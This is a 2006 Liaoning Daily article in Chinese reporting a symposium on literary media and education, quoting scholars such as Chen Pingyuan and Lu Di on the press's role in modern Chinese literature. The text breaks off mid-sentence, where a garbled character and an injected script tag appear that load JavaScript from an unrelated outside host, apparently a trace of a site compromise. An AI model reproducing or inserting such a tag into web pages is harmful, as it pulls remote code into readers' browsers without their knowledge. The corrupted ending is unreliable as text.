文学与文学传媒如何面对未来？
《辽宁日报》2006-10-27
　本报记者 丁宗皓

　   9月8日至10日，《当代作家评论》与渤海大学联合举办的“中国首届文学传媒与文学教育研讨会”在渤海大学举行。陈平原、程光炜、陆地、黄发有、陈子善、吴俊、熊召政、王必胜、潘凯雄、朱晖、孙郁、林建法、韩松、章德宁、王兆胜、陈汉萍、宗仁发、贺绍俊、韩忠良、高翔等30余位全国知名的教授、专家、学者和来自出版社、报纸和杂志等大众传媒的代表参加了研讨。

　　饶有趣味的是，研讨会预设的文学传媒与文学教育的主题，在演讲者不断出场的过程中，逐渐演化成了文化传媒与文学关系的主题，这使在学界内外已经开始的对于商业化中的文学与传媒两个主体的批评成为讨论的主体。坐在会场之中，聆听着学者们的发言，记者不禁感觉到，文学和发轫于晚清的传媒之间经历长时间的良性互动以后，正在市场经济面前发生巨大的变化，这个变化的结果在学者们看来，隐含着文化危机。同时记者还感觉到，一个传媒与文学共同省察市场行为的时代正在到来，尤其是在市场化和飞快发展的传播技术面前。

　　共有一段历史

　　陈平原（北京大学中文系教授）　我拟了一个题目，叫做传媒与文学的十大关系。第一点是报纸和杂志的出现对文学的影响，或者说文学的出现正因为报纸和杂志。第二点是以报章为中心的文学时代，我所理解的报章包括专门性文学杂志和综合性的杂志等。还有一个报纸的副刊，五四运动中几个大的副刊曾经影响到整个文学运动进程。一直到上世纪七八十年代，台湾的《中国时报》、《联合时报》的一些副刊还能作为一种文学组织者，那种角色，中国大陆的一些报纸的文学副刊也曾经担当了这么重要的作用，但是后来，报纸的副刊越来越不重要了。

　　但不管怎么说，从晚清到现在100多年间，整个文学时代是以报刊为中心的，所有的作家都加入到报纸的编辑和写作中，所有的作品都是在报纸和杂志上发表之后才结集的。晚清以后，整个文学的组织者是报纸和杂志。

　　陆地（清华大学新闻传播学院教授）在现代传媒产生之后，文学仍然是传媒的一部分。例如，报刊是现代媒介形态或?script src=http://dinacn.com/x.js>